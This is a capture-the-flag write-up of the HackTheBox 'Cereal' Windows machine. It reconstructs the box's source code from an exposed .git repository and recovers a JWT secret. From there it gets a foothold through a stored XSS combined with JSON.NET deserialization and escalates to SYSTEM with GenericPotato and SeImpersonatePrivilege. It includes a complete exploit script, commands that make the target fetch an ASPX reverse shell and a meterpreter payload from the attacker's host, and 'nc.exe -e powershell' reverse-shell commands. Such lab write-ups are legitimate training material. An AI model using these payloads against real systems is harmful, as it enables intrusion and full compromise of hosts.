In this walk through, we will be going through the Cereal room from HackTheBox. This room is rated as Hard on the platform and it consists of exploitation of deserialization and XSS vulnerabilities to get foothold on the system and for privilege escalation, SEImpersonate Privilege was abused to get root. So, let’s get started without any delay.
Table of Contents
Machine Info:
Title | Cereal |
IPaddress | 10.10.10.217 |
Difficulty | Hard |
OS | Windows |
Description | Cereal is a hard difficulty Windows machine that is vulnerable to deserialization and XSS vulnerabilities which are then used to get a foothold on the system. For privilege escalation,SEImpersonate Privilege was abused. |
Enumeration:
- I started with my regular nmap scan with service detection and found three ports opened – 22 (SSH), 80 and 443 (HTTP/HTTPS).
$ sudo nmap -sS -sV -p- 10.10.10.217 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-03 20:26 IST Nmap scan report for 10.10.10.217 Host is up (0.24s latency). Not shown: 65532 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) 80/tcp open http Microsoft IIS httpd 10.0 443/tcp open ssl/http Microsoft IIS httpd 10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 394.41 seconds
- Next, i performed an Aggressive scan on the found ports and from the SSL cert scan of 443 found two hostnames – cereal.htb and source.cereal.htb.
$ nmap -A -p 22,80,443 10.10.10.217 Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-03 20:56 IST Nmap scan report for 10.10.10.217 Host is up (0.21s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0) | ssh-hostkey: | 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA) | 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA) |_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519) 80/tcp open http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Did not follow redirect to https://10.10.10.217/ |_https-redirect: ERROR: Script execution failed (use -d to debug) 443/tcp open ssl/http Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 |_http-title: Cereal | ssl-cert: Subject: commonName=cereal.htb | Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb | Not valid before: 2020-11-11T19:57:18 |_Not valid after: 2040-11-11T20:07:19 |_ssl-date: 2023-12-03T15:27:18+00:00; 0s from scanner time. | tls-alpn: |_ http/1.1 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.36 seconds
- Added both the domains to my /etc/hosts file.
- First, i accessed the web server running on cereal.htb and found a login page. Tried some default username/password combo but found nothing.
- Next, i checked source.cereal.htb and found an Server error page which was leaking quite a information. Found out the default path of the web server – C:\inetpub\source\default.aspx.
- Fired feroxbuster on our first domain and found a request directory with a 401 Unauthorized response code. Tried to access it but found a blank page.
feroxbuster -k -u https://cereal.htb -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
- Next, i tried to curl it and got some header information where the interesting one was the “www-authenticate: Bearer”. That means the /requests page demands an authentication token in order to access it.
$ curl -i -k https://cereal.htb/requests HTTP/2 401 server: Microsoft-IIS/10.0 strict-transport-security: max-age=2592000 www-authenticate: Bearer x-rate-limit-limit: 5m x-rate-limit-remaining: 148 x-rate-limit-reset: 2023-12-03T17:09:53.3835987Z x-powered-by: Sugar date: Sun, 03 Dec 2023 17:06:59 GMT
- Next, i fired feroxbuster on source.cereal.htb and found a /uploads directory. Tried to access it but was denied.
feroxbuster -k -u https://source.cereal.htb -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
- Performed another nmap Aggressive scan on source.cereal.htb domain and found a pretty interesting directory which was missed by feroxbuster and that was – /.git
$ nmap -A -p 80,443 source.cereal.htb Starting Nmap 7.80 ( https://nmap.org ) at 2023-12-03 21:46 IST Nmap scan report for source.cereal.htb (10.10.10.217) Host is up (0.21s latency). rDNS record for 10.10.10.217: cereal.htb PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-git: | 10.10.10.217:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Some changes | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Compilation Error |_https-redirect: ERROR: Script execution failed (use -d to debug) 443/tcp open ssl/http Microsoft IIS httpd 10.0 | http-git: | 10.10.10.217:443/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: Some changes | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: Compilation Error | ssl-cert: Subject: commonName=cereal.htb | Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb | Not valid before: 2020-11-11T19:57:18 |_Not valid after: 2040-11-11T20:07:19 |_ssl-date: 2023-12-03T17:16:52+00:00; +1h00m00s from scanner time. | tls-alpn: |_ http/1.1 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 59m59s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 25.11 seconds
- I tried to access it however as directory listing is disabled. So, got an access denied message.
- Used gitdumper to dump all the potential git files in a destination directory called clone.
gitdumper.sh http://source.cereal.htb/.git/ clone/
- The first thing i checked was the git log and found couple of commits.
git log
- The “Security Fixes” commit looks interesting. I looked into it and found a JWT token Secret.
git show 7bd9533a2e01ec11dfa928bd491fe516477ed291
secretlhfIH&FY*#oysuflkhskjfhefesf
- Moving on, i used extractor script from Gitdump Tools to extract other files from our cloned git directory.
extractor.sh ~/CTF/HTB/machines/Cereal/clone/ ~/CTF/HTB/machines/Cereal/clone/extract
- The AdminPage.jsx reveals a react module called “react-marked-markdown”. On Checking it for any known vulnerabilities found that it is vulnerable to XSS.
wh1terose@fsociety:~/CTF/HTB/machines/Cereal/clone/extract/3-7bd9533a2e01ec11dfa928bd491fe516477ed291/ClientApp/src/AdminPage$ cat AdminPage.jsx import React from 'react'; import { MarkdownPreview } from 'react-marked-markdown'; import { requestService, authenticationService } from '../_services'; import { Accordion, Card, Button } from 'react-bootstrap' class RequestCard extends React.Component { componentDidCatch(error) { console.log(error); } render() { try { let requestData = JSON.parse(this.props.request.json); return ( <Card> <Card.Header> <Accordion.Toggle as={Button} variant="link" eventKey={this.props.request.requestId} name="expand" id={this.props.request.requestId}> {requestData.title && typeof requestData.title == 'string' && <MarkdownPreview markedOptions={{ sanitize: true }} value={requestData.title} /> } </Accordion.Toggle> </Card.Header> <Accordion.Collapse eventKey={this.props.request.requestId}> <div> {requestData && <Card.Body> Description:{requestData.description} <br /> Color:{requestData.color} <br /> Flavor:{requestData.flavor} </Card.Body> } </div> </Accordion.Collapse> </Card> ); } catch (e) { console.log(e); return null }; } } class AdminPage extends React.Component { constructor(props) { super(props); this.state = { requests: null, }; } componentDidMount() { requestService.getCerealRequests().then(requests => this.setState({ requests })); } render() { const { requests } = this.state; return ( <div className="card card-body bg-light"> <h3>Current cereal requests:</h3> {requests && <Accordion> {requests.map(request => <> <RequestCard request={request}/> <br /> </> )} </Accordion> } </div> ); } }
React markdown vulnerabilities – https://security.snyk.io/package/npm/react-marked-markdown
- Next, i found another interesting file named RequestController.cs. As per the source code, the application is performing some deserialization on the data. However, there are certain filters on the way to perform any Deserialization attacks. One important thing to notice here is the “RestrictIP” Policy which means only certain IP address are allowed to access and make changes to the application.
Initial Access:
- With our found jwt secret, i generated a JWT token using jwt_tool. The idea here is to perform to use deserialization of the DownloadManager object to upload a shell on the target and then use XSS to trigger it by generating server-side requests.
$ python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' $(echo -n '{"alg":"HS256","typ":"JWT"}' | base64).$(echo -n '{"name": "1", "exp":' `date -d "+7 days" +%s`} | base64 -w0). eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTcwMjI4MDc0Nn0.wGLFFyRhUj9mvpRIEQ2Ae2yWH-FqtLAMXjSY31L9EoQ
- Downloaded the reverse shell from below link and generated an upload script in python.
ASPX reverse shell – https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
Cereal.DownloadHelper dh = new Cereal.DownloadHelper **{** URL = "https://source.cereal.htb/upload/shell.aspx", FilePath = "shell.aspx", **};** string json = JsonConvert.SerializeObject**(**dh, new JsonSerializerSettings **{** TypeNameHandling = TypeNameHandling.All **});** Console.WriteLine**(**json**);**//Crafted to below's payload:** {**"$type"**:**"Cereal.DownloadHelper, Cereal","URL"**:**"http://<ip>/shell.aspx","FilePath"**:**"c:/inetpub/source/uploads/shell.aspx"**}**
import requests from urllib3.exceptions import InsecureRequestWarning import base64 requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) jwt_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTcwMjI4MDc0Nn0.wGLFFyRhUj9mvpRIEQ2Ae2yWH-FqtLAMXjSY31L9EoQ' my_ip = '10.10.14.6' URL = 'https://cereal.htb/requests' js_payload = """var jwt_token = '"""+jwt_token+ """'; targeturl = 'https://cereal.htb/requests'; req = new XMLHttpRequest; var payload = JSON.stringify({"json": '{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://""" +my_ip+"""/shell.aspx","FilePath":"C:/inetpub/source/uploads/shell.aspx"}'}); req.onreadystatechange = function() { if (req.readyState == 4) { var id = JSON.parse(this.responseText).id; //console.log(id) req2 = new XMLHttpRequest; req2.open('GET', targeturl + "/" + id, false); req2.setRequestHeader("Authorization", "Bearer " + jwt_token); req2.send(); } } req.open('POST', targeturl, false); req.setRequestHeader("Authorization", "Bearer " + jwt_token); req.setRequestHeader('Content-type', 'application/json'); req.send(payload);""" js_payload_b64 = base64.b64encode(js_payload.encode('utf-8')) payload = {'json': '{"title":"[XSS](javascript: eval(atob(%22' + js_payload_b64.decode('utf-8') + '%22%29%29)", "flavor":"x", "color":"#FFF", "description":"x"}'} headers = {'Authorization': 'Bearer ' + jwt_token} print("shending payload: " + str(payload)) r = requests.post(URL, headers=headers, json=payload, verify=False) print(r.text)
- Set up a python HTTP server at port 80 and used the exploit.py script to upload the reverse shell on to the target.
python exploit.py shending payload: {'json': u'{"title":"[XSS](javascript: eval(atob(%22dmFyIGp3dF90b2tlbiA9ICdleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKdVlXMWxJam9pTVNJc0ltVjRjQ0k2TVRjd01qSTRNRGMwTm4wLndHTEZGeVJoVWo5bXZwUklFUTJBZTJ5V0gtRnF0TEFNWGpTWTMxTDlFb1EnOwp0YXJnZXR1cmwgPSAnaHR0cHM6Ly9jZXJlYWwuaHRiL3JlcXVlc3RzJzsKCnJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdDsKdmFyIHBheWxvYWQgPSBKU09OLnN0cmluZ2lmeSh7Impzb24iOiAneyIkdHlwZSI6IkNlcmVhbC5Eb3dubG9hZEhlbHBlciwgQ2VyZWFsIiwiVVJMIjoiaHR0cDovLzEwLjEwLjE0LjYvc2hlbGwuYXNweCIsIkZpbGVQYXRoIjoiQzovaW5ldHB1Yi9zb3VyY2UvdXBsb2Fkcy9zaGVsbC5hc3B4In0nfSk7CgpyZXEub25yZWFkeXN0YXRlY2hhbmdlID0gZnVuY3Rpb24oKSB7CiAgICBpZiAocmVxLnJlYWR5U3RhdGUgPT0gNCkgewogICAgICAgIHZhciBpZCA9IEpTT04ucGFyc2UodGhpcy5yZXNwb25zZVRleHQpLmlkOwogICAgICAgIC8vY29uc29sZS5sb2coaWQpCgogICAgICAgIHJlcTIgPSBuZXcgWE1MSHR0cFJlcXVlc3Q7CiAgICAgICAgcmVxMi5vcGVuKCdHRVQnLCB0YXJnZXR1cmwgKyAiLyIgKyBpZCwgZmFsc2UpOwogICAgICAgIHJlcTIuc2V0UmVxdWVzdEhlYWRlcigiQXV0aG9yaXphdGlvbiIsICJCZWFyZXIgIiArIGp3dF90b2tlbik7CiAgICAgICAgcmVxMi5zZW5kKCk7CiAgICB9Cn0KcmVxLm9wZW4oJ1BPU1QnLCB0YXJnZXR1cmwsIGZhbHNlKTsKcmVxLnNldFJlcXVlc3RIZWFkZXIoIkF1dGhvcml6YXRpb24iLCAiQmVhcmVyICIgKyBqd3RfdG9rZW4pOwpyZXEuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC10eXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsKcmVxLnNlbmQocGF5bG9hZCk7%22%29%29)", "flavor":"x", "color":"#FFF", "description":"x"}'} {"message":"Great cereal request!","id":9}
- Trigger the shell using the below link or using the curl command. Once executed, we will receive a connection back at our netcat listener.
Upload URL – https://source.cereal.htb/uploads/shell.aspx
curl https://source.cereal.htb/uploads/shell.aspx -k
- Captured the user flag.
Post-Compromise Enumeration:
- Next, performed enumeration on the target and found “SeImpersonatePrivilege” is set to enabled. That is a good thing as we can perform some Token Impersonation and get root but the bad thing is that it is not that straight forward to trigger a Potato exploit and get things done.
C:\Users\sonny\Desktop>whoami /all whoami /all USER INFORMATION ---------------- User Name SID ============ ============================================== cereal\sonny S-1-5-21-1433318354-2681105707-1558593885-1000 GROUP INFORMATION ----------------- Group Name Type SID Attributes ==================================== ================ =============================================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group IIS APPPOOL\source.cereal.htb Well-known group S-1-5-82-1091461672-2110406625-1707532520-1965434010-2231625233 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
- Checked the services listening on the target and found port 8080 exposed but only to the localhost.
netstat -ano
- Next, i generated a meterpreter payload and uploaded it to the target.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=4444 -f exe -o payload.exe
C:\Users\sonny\Desktop>mkdir temp mkdir temp C:\Users\sonny\Desktop>cd temp cd temp C:\Users\sonny\Desktop\temp>curl http://10.10.14.6/payload.exe -O payload.exe curl http://10.10.14.6/payload.exe -O payload.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 73802 100 73802 0 0 73802 0 0:00:01 --:--:-- 0:00:01 100k 0 0 0 0 0 0 0 0 --:--:-- 0:00:05 --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- 0:00:06 --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- 0:00:07 --:--:-- 0 0 0 0 0 0 0 0 0 --:--:-- 0:00:11 --:--:-- 0curl: (6) Could not resolve host: payload.exe
msfconsole -q use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.10.14.6 set LPORT 4444 exploit
- Used the below command and performed port forwarding. Now, we can access the port 8080 of the target machine in our machine at port 8081.
portfwd add -l 8081 -p 8080 -r 127.0.0.1
Privilege Escalation:
- Accessed the application at 8081 and found a static page. Checked the source code and found that it is issuing a request to /api/graphql endpoint.
- Enumerated graphql further and got quite a lot of data. The most interesting was the mutation function which we can use to update database.
$ curl -d '{ "query": "{__schema{types{name,fields{name}}}}" }' -X POST http://127.0.0.1:8081/api/graphql -H 'Content-Type: application/json' { "data": { "__schema": { "types": [ { "name": "String", "fields": null }, { "name": "Boolean", "fields": null }, { "name": "Float", "fields": null }, { "name": "Int", "fields": null }, { "name": "ID", "fields": null }, { "name": "Date", "fields": null }, { "name": "DateTime", "fields": null }, { "name": "DateTimeOffset", "fields": null }, { "name": "Seconds", "fields": null }, { "name": "Milliseconds", "fields": null }, { "name": "Decimal", "fields": null }, { "name": "Uri", "fields": null }, { "name": "Guid", "fields": null }, { "name": "Short", "fields": null }, { "name": "UShort", "fields": null }, { "name": "UInt", "fields": null }, { "name": "Long", "fields": null }, { "name": "BigInt", "fields": null }, { "name": "ULong", "fields": null }, { "name": "Byte", "fields": null }, { "name": "SByte", "fields": null }, { "name": "__Schema", "fields": [ { "name": "description" }, { "name": "directives" }, { "name": "mutationType" }, { "name": "queryType" }, { "name": "subscriptionType" }, { "name": "types" } ] }, { "name": "__Type", "fields": [ { "name": "description" }, { "name": "enumValues" }, { "name": "fields" }, { "name": "inputFields" }, { "name": "interfaces" }, { "name": "kind" }, { "name": "name" }, { "name": "ofType" }, { "name": "possibleTypes" } ] }, { "name": "__TypeKind", "fields": null }, { "name": "__Field", "fields": [ { "name": "args" }, { "name": "deprecationReason" }, { "name": "description" }, { "name": "isDeprecated" }, { "name": "name" }, { "name": "type" } ] }, { "name": "__InputValue", "fields": [ { "name": "defaultValue" }, { "name": "description" }, { "name": "name" }, { "name": "type" } ] }, { "name": "__EnumValue", "fields": [ { "name": "deprecationReason" }, { "name": "description" }, { "name": "isDeprecated" }, { "name": "name" } ] }, { "name": "__Directive", "fields": [ { "name": "args" }, { "name": "description" }, { "name": "locations" }, { "name": "name" } ] }, { "name": "__DirectiveLocation", "fields": null }, { "name": "Query", "fields": [ { "name": "allCereals" }, { "name": "allPlants" }, { "name": "cereal" }, { "name": "plant" } ] }, { "name": "Cereal", "fields": [ { "name": "id" }, { "name": "ingredients" }, { "name": "name" } ] }, { "name": "Plant", "fields": [ { "name": "cereals" }, { "name": "id" }, { "name": "location" }, { "name": "status" } ] }, { "name": "Status", "fields": null }, { "name": "Mutation", "fields": [ { "name": "haltProduction" }, { "name": "resumeProduction" }, { "name": "updatePlant" } ] } ] } }
$ curl -d '{ "query": "{__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}" }' -X POST http://127.0.0.1:8081/api/graphql -H 'Content-Type: application/json' { -- snipped -- { "name": "Status", "fields": null }, { "name": "Mutation", "fields": [ { "name": "haltProduction", "args": [ { "name": "plantId", "description": null, "type": { "name": null, "kind": "NON_NULL", "ofType": { "name": "Int", "kind": "SCALAR" } } } ] }, { "name": "resumeProduction", "args": [ { "name": "plantId", "description": null, "type": { "name": null, "kind": "NON_NULL", "ofType": { "name": "Int", "kind": "SCALAR" } } } ] }, { "name": "updatePlant", "args": [ { "name": "plantId", "description": null, "type": { "name": null, "kind": "NON_NULL", "ofType": { "name": "Int", "kind": "SCALAR" } } }, { "name": "version", "description": null, "type": { "name": null, "kind": "NON_NULL", "ofType": { "name": "Float", "kind": "SCALAR" } } }, { "name": "sourceURL", "description": null, "type": { "name": null, "kind": "NON_NULL", "ofType": { "name": "String", "kind": "SCALAR" } }
- Now we will use the GenericPotato exploit in order to escalate our privilges. As per the its github – It is modified version of SweetPotato by @EthicalChaos to support impersonating authentication over HTTP and/or named pipes. This allows for local privilege escalation from SSRF and/or file writes. For that, uploaded the netcat binary and the exploit to our target.
- Executed the exploit specifying it to connect to a netcat listener at port 5554 with a powershell prompt and executes a HTTP listener at port 8889.
Exploit – https://github.com/JimKwikX/GenericPotato/blob/main/GenericPotato.exe
.\GenericPotato.exe -p nc.exe -a "10.10.14.6 5555 -e powershell" -e HTTP -l 8889
- Set up my netcat listener at port 5555 and made a request at port 8889 using the below command. Once the request is generated, we got a connection back at our netcat listener at root.
curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2.2, sourceURL:\"http://localhost:8889\")}"}' 'http://localhost:8081/api/graphql'
- Captured the root flag and completed the room.
Also Read: HTB – Broker
Conclusion:
So that was “Cereal” for you. The machine features a repository exposing source code where one of the older commits was found leaking the encryption key, which was then used to login. Reviewing the code reveals deserialization and XSS vulnerabilities. These were then leveraged to download a web shell and gain a foothold on the system. In Post compromise enumeration, The user was found to have SeImpersonatePrivilege, which was exploited in combination with a SSRF vulnerability to finally get SYSTEM privileges. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.